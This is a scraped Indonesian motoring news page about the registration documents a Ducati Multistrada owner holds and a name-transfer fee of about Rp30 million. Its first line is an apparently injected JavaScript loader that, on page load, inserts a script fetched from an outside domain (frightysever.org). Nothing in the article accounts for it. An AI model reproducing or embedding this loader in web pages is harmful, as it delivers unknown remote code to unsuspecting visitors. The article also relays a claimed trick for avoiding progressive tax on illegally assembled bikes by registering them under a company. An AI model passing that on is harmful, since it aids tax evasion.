(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Otomotif

Begini Kelengkapan Dokumen Moge Ducati, Bea Balik Nama Tembus Rp30 Juta


KANALKALIMANTAN.COM – Beberapa orang penasaran apa saja sih kelengkapan dokumen pemilik moge. Pemilik akun Facebook bernama Ranggie Ragatha kini membeberkan semuanya.

Menurut pengalamannya, ternyata terdapat 4 dokumen penting yang wajib dimiliki untuk pemilik moge.

BPKB moge Ducati Multistrada. Foto: Facebook

Ia menceritakan kalau dirinya memiliki moge Ducati Multistrada. Keempat dokumen ketika membeli moge tersebut terdiri dari BPKB, Form A (Surat Keterangan Impor), Faktur Pembelian, dan STNK.

 

 

Baca juga: Satgas Waspada Investasi Setop Operasional 3.365 Pinjol Ilegal

Biasanya, untuk motor lokal hanya terdiri dari 3 surat saja yakni BPKB, STNK, dan Faktur Pembelian. Namun pada moge Ducati Multistrada miliknya tambah satu, yakni Form A.

Ia menceritakan kalau biasanya pihak dealer mengurus semua dokumen tersebut. Namun jika melewati Importir Umum, biasanya mengurus surat-suratnya sendiri.

STNK moge Ducati Multistrada. Foto: Facebook

Form A Ducati Multistrada. Foto: Facebook

Rata-rata butuh waktu beberapa bulan sampai satu tahun hingga semua dokumen keluar. Ia juga menceritakan jika membeli moge ilegal, ternyata beberapa komponen motor dipreteli.

Lalu ketika semua komponen tersebut sudah sampai di Indonesia, barulah dirakit.

Mengenai pajak motor ilegal hasil rakitan sendiri, ternyata bisa diakali dengan menggunakan nama perusahaan dengan alasan agar tidak kena pajak progresif.

Ia pun curhat mengenai pajak tahunan untuk moge Ducati Multistrada. Pajaknya ternyata hanya Rp 4 juta saja lho.

Namun untuk biaya BBN-KB ternyata malah tembus di angka Rp 30 jutaan.

Baca juga: KABAR BAIK. Pasien Sembuh Covid-19 di Banjarbaru Hari Ini Capai 245 Orang

BBN-KB kepanjangannya adalah Bea Balik Nama Kendaraan Bermotor. Ini adalah biaya yang dibebankan untuk perubahan kepemilikan dan pergantian kepemilikan kendaraan dari satu ke pemilik yang lainnya.

Curhatan ini pun viral di media sosial dan mendapatkan respons dari warganet di kolom komentar.

“Liat pajaknya ginjal sya jdi goyang dikit saking kagetnya,” tulis salah seorang warganet.

“Satu tahun pajak = 2 motor mber bekas,” beber warganet lain. (Suara.com)

Editor : kk


Risa

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.